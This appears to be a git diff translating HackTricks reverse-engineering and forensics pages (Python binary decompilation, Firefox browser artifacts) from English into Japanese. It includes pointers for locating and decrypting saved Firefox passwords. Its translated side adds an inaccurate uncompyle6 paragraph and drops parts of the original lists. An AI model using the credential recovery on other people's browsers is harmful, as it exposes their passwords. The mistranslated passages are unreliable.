-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味がある場合は、**採用中です**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## コンパイルされたバイナリから.pycへ +**ELF**形式のコンパイルされたバイナリからは、次のコマンドを使用して**.pyc**を取得できます: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` +**pythonのexeバイナリ**でコンパイルされた場合、次のコマンドを実行することで**.pycファイルを取得**することができます: -In a **python exe binary** compiled you can **get the .pyc** by running: +```bash +uncompyle6 -o +``` +このコマンドは、`uncompyle6`ツールを使用して、Pythonのexeバイナリから元のソースコードを復元します。``は、復元されたソースコードの出力先ディレクトリを指定します。``は、解析するPythonのexeバイナリファイルのパスを指定します。 + +この方法を使用すると、Pythonのexeバイナリから元のソースコードを取得することができます。ただし、バイナリが保護されている場合や、コンパイル時に最適化が行われている場合は、復元されたソースコードが完全に一致しない場合があります。 ```bash python pyinstxtractor.py executable.exe ``` +## .pycからPythonコードへ -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc**データ(「コンパイルされた」Python)については、まず**元の****Python** **コード**を**抽出**することを試してみるべきです。 ```bash uncompyle6 binary.pyc > decompiled.py ``` +**確認してください**バイナリには**拡張子**「**.pyc**」があること(そうでない場合、uncompyle6は動作しません) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6**を実行する際に、**次のエラー**が発生する可能性があります: +### エラー:不明なマジックナンバー227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +これを修正するには、生成されたファイルの先頭に**正しいマジックナンバーを追加する必要があります**。 -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを開き、次のコマンドを実行します。 ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加する必要があります**:`0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +この**マジックヘッダー**を追加した後、エラーは修正されるはずです。 +これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -89,29 +86,27 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### エラー:一般的なデコンパイルエラー -### Error: Decompiling generic errors +`class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` のような**その他のエラー**が表示されることがあります。 -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +これはおそらく、**正しいマジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味しています。したがって、**正しいマジックナンバーを使用していることを確認してください**(または新しいものを試してみてください)。 -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +前のエラードキュメントを確認してください。 -Check the previous error documentation. +## 自動ツール -## Automatic Tool +ツール[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)は、Pythonで書かれた実行可能ファイルをアンパックおよびデコンパイルするための研究者を支援するためのいくつかのツールをコミュニティに提供しています(py2exeおよびpyinstallerを使用して作成された実行可能ファイルかどうかも確認します)。 -The tool [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) glues together several tools available to the community that **help researchers to unpack and decompile executable** written in python (py2exe and pyinstaller). +Pythonで書かれた実行可能ファイルかどうかを判断するためのいくつかのYARAルールが利用可能です(このスクリプトは、実行可能ファイルがpy2exeまたはpyinstallerで作成されたものかどうかも確認します)。 -Several YARA rules are available to determine if the executable is written in python (This script also confirms if the executable is created with either py2exe or pyinstaller). - -### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -Currently, with unpy2exe or pyinstxtractor the Python bytecode file we get might not be complete and in turn, it **can’t be recognized by uncompyle6 to get the plain Python source code**. This is caused by a missing Python **bytecode version number**. Therefore we included a prepend option; this will include a Python bytecode version number into it and help to ease the process of decompiling. When we try to use uncompyle6 to decompile the .pyc file it returns an error. However, **once we use the prepend option we can see that the Python source code has been decompiled successfully**. +### ImportError: ファイル名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません +現在、unpy2exeまたはpyinstxtractorを使用して取得したPythonバイトコードファイルは完全ではない場合があり、その結果、uncompyle6によってプレーンなPythonソースコードを取得することができません。これは、欠落しているPython **バイトコードバージョン番号**によるものです。そのため、prependオプションを追加しました。これにより、Pythonバイトコードバージョン番号が含まれ、デコンパイルのプロセスが容易になります。.pycファイルをuncompyle6でデコンパイルしようとするとエラーが返されます。ただし、**prependオプションを使用すると、Pythonソースコードが正常にデコンパイルされたことが確認できます**。 ``` -test@test: uncompyle6 unpacked/malware_3.exe/archive.py +test@test: uncompyle6 unpacked/malware_3.exe/archive.py Traceback (most recent call last): - ………………………. +………………………. ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist ``` @@ -123,11 +118,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Pythonアセンブリの分析 -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど説明的ではありませんので、再び元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、_.pyc_ バイナリをディスアセンブルする非常にシンプルなコードを見つけました(コードのフローを理解するのに幸運を祈ります)。もし_.pyc_ がPython2のものであれば、Python2を使用してください: ```bash >>> import dis >>> import marshal @@ -153,34 +146,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Pythonから実行可能ファイルへ -## Python to Executable +まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を紹介します。 -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle\_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exeを使用してペイロードを作成する方法: +1. [http://www.py2exe.org/](http://www.py2exe.org)からpy2exeパッケージをインストールします。 +2. ペイロードにはスクリプトを使用します(この場合、hello.pyという名前にします)。図1に示すようなスクリプトを使用します。オプション「bundle\_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。 +3. スクリプトの準備ができたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2に示すように実行可能ファイルが作成されます。 ``` from distutils.core import setup import py2exe, sys, os @@ -188,10 +179,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -208,12 +199,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstallerを使用してペイロードを作成する方法: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. pipを使用してPyInstallerをインストールします(pip install pyinstaller)。 +2. その後、コマンド「pyinstaller –onefile hello.py」を実行します('hello.py'は私たちのペイロードです)。これにより、すべてが1つの実行可能ファイルにバンドルされます。 ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -226,14 +215,13 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## 参考文献 * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_). {% embed url="https://www.stmcyber.com/careers" %} @@ -241,10 +229,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index de6e62249..7f7679e42 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,23 +1,21 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Here you can find interesting tricks for specific file-types and/or software: +ここでは、特定のファイルタイプやソフトウェアに関する興味深いトリックを見つけることができます: {% page-ref page=".pyc.md" %} @@ -45,16 +43,14 @@ Here you can find interesting tricks for specific file-types and/or software: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 93f6fd9a7..0ed5eff0d 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,91 +1,71 @@ -# Browser Artifacts +# ブラウザのアーティファクト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化しましょう。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Browsers Artifacts +## ブラウザのアーティファクト -When we talk about browser artifacts we talk about, navigation history, bookmarks, list of downloaded files, cache data, etc. +ブラウザのアーティファクトとは、ナビゲーション履歴、ブックマーク、ダウンロードしたファイルのリスト、キャッシュデータなどを指します。 -These artifacts are files stored inside specific folders in the operating system. +これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに格納されています。 -Each browser stores its files in a different place than other browsers and they all have different names, but they all store (most of the time) the same type of data (artifacts). +各ブラウザは、他のブラウザとは異なる場所にファイルを保存し、異なる名前を持っていますが、ほとんどの場合、同じタイプのデータ(アーティファクト)を保存しています。 -Let us take a look at the most common artifacts stored by browsers. +最も一般的なブラウザによって保存されるアーティファクトを見てみましょう。 -* **Navigation History:** Contains data about the navigation history of the user. Can be used to track down if the user has visited some malicious sites for example -* **Autocomplete Data:** This is the data that the browser suggests based on what you search for the most. Can be used in tandem with the navigation history to get more insight. -* **Bookmarks:** Self Explanatory. -* **Extensions and Add ons:** Self Explanatory. -* **Cache:** When navigating websites, the browser creates all sorts of cache data (images, javascript files…etc) for many reasons. For example to speed the loading time of websites. These cache files can be a great source of data during a forensic investigation. -* **Logins:** Self Explanatory. -* **Favicons:** They are the little icons found in tabs, urls, bookmarks and the such. They can be used as another source to get more information about the website or places the user visited. -* **Browser Sessions:** Self Explanatory. -* **Downloads**: Self Explanatory. -* **Form Data:** Anything typed inside forms is oftentimes stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. -* **Thumbnails:** Self Explanatory. -* **Custom Dictionary.txt**: Words added to the dictionary by the user. +* **ナビゲーション履歴:** ユーザーのナビゲーション履歴に関するデータが含まれています。たとえば、ユーザーが悪意のあるサイトを訪れたかどうかを追跡するために使用できます。 +* **オートコンプリートデータ:** ブラウザが最も検索される内容に基づいて提案するデータです。ナビゲーション履歴と組み合わせて、さらなる洞察を得ることができます。 +* **ブックマーク:** 自己説明的です。 +* **拡張機能とアドオン:** 自己説明的です。 +* **キャッシュ:** ウェブサイトを閲覧する際、ブラウザはさまざまな理由でキャッシュデータ(画像、JavaScriptファイルなど)を作成します。たとえば、ウェブサイトの読み込み時間を高速化するためです。これらのキャッシュファイルは、法的調査中にデータの貴重な情報源となる場合があります。 +* **ログイン情報:** 自己説明的です。 +* **ファビコン:** タブ、URL、ブックマークなどで見つかる小さなアイコンです。ユーザーが訪れたウェブサイトや場所に関する追加情報を取得するための別の情報源として使用できます。 +* **ブラウザセッション:** 自己説明的です。 +* **ダウンロード:** 自己説明的です。 +* **フォームデータ:** フォーム内に入力された内容は、ブラウザによって保存されることが多いため、次回ユーザーがフォームに入力する際に以前に入力されたデータをブラウザが提案できます。 +* **サムネイル:** 自己説明的です。 +* **カスタム辞書.txt:** ユーザーによって辞書に追加された単語。 ## Firefox -Firefox create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ -Inside this folder, the file _**profiles.ini**_ should appear with the name(s) of the user profile(s).\ -Each profile has a "**Path**" variable with the name of the folder where its data is going to be stored. The folder should be **present in the same directory where the \_profiles.ini**\_\*\* exist\*\*. If it isn't, then, probably it was deleted. +Firefoxは、\~/_**.mozilla/firefox/**_(Linux)、**/Users/$USER/Library/Application Support/Firefox/Profiles/**(MacOS)、_**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_(Windows)にプロファイルフォルダを作成します。\ +このフォルダ内には、ユーザープロファイルの名前が記載された_**profiles.ini**_ファイルが表示されるはずです。\ +各プロファイルには、そのデータが保存されるフォルダの名前を示す「**Path**」変数があります。フォルダは、_profiles.ini_ファイルと同じディレクトリに存在するはずです。存在しない場合は、おそらく削除されたものです。 -Inside the folder **of each profile** (_\~/.mozilla/firefox/\/_) path you should be able to find the following interesting files: +各プロファイルのフォルダ(_\~/.mozilla/firefox/\/_)内には、次の興味深いファイルが見つかるはずです。 -* _**places.sqlite**_ : History (moz\_\_places), bookmarks (moz\_bookmarks), and downloads (moz\_\_annos). In Windows the tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history inside _**places.sqlite**_. - * Query to dump history: `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` - * Note that a link type is a number that indicates: - * 1: User followed a link - * 2: User wrote the URL - * 3: User used a favorite - * 4: Loaded from Iframe - * 5: Accessed via HTTP redirect 301 - * 6: Accessed via HTTP redirect 302 - * 7: Downloaded file - * 8: User followed a link inside an Iframe - * Query to dump downloads: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` - * -* _**bookmarkbackups/**_ : Bookmarks backups -* _**formhistory.sqlite**_ : **Web form data** (like emails) -* _**handlers.json**_ : Protocol handlers (like, which app is going to handle _mailto://_ protocol) -* _**persdict.dat**_ : Words added to the dictionary -* _**addons.json**_ and \_**extensions.sqlite** \_ : Installed addons and extensions -* _**cookies.sqlite**_ : Contains **cookies.** [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) can be used in Windows to inspect this file. -* _**cache2/entries**_ or _**startupCache**_ : Cache data (\~350MB). Tricks like **data carving** can also be used to obtain the files saved in the cache. [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) can be used to see the **files saved in the cache**. +* _**places.sqlite**_:履歴(moz\_\_places)、ブックマーク(moz\_bookmarks)、およびダウンロード(moz\_\_annos)に関するデータ。Windowsでは、ツール[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)を使用して、_**places.sqlite**_内の履歴を読み取ることができます。 +* 履歴をダンプするクエリ:`select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;` +* リンクタイプは、以下のように示される番号です: +* 1:ユーザーがリンクをクリックしました +* 2:ユーザーがURLを入力しました +* 3:ユーザーがお気に入りを使用しました +* 4:Iframeからロードされました +* 5:HTTPリダイレクト301経由でアクセスされました +* _**logins.json**_ : 暗号化されたユーザー名とパスワード +* **ブラウザの組み込みのフィッシング対策:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` +* セーフサーチ設定が無効にされている場合、"safebrowsing.malware.enabled"と"phishing.enabled"がfalseとして返されます +* _**key4.db**_または_**key3.db**_ : マスターキー? - Information that can be obtained: - - * URL, fetch Count, Filename, Content type, File size, Last modified time, Last fetched time, Server Last Modified, Server Response -* _**favicons.sqlite**_ : Favicons -* _**prefs.js**_ : Settings and Preferences -* _**downloads.sqlite**_ : Old downloads database (now it's inside places.sqlite) -* _**thumbnails/**_ : Thumbnails -* _**logins.json**_ : Encrypted usernames and passwords -* **Browser’s built-in anti-phishing:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` - * Will return “safebrowsing.malware.enabled” and “phishing.enabled” as false if the safe search settings have been disabled -* _**key4.db**_ or _**key3.db**_ : Master key? - -To try to decrypt the master password, you can use [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ -With the following script and call you can 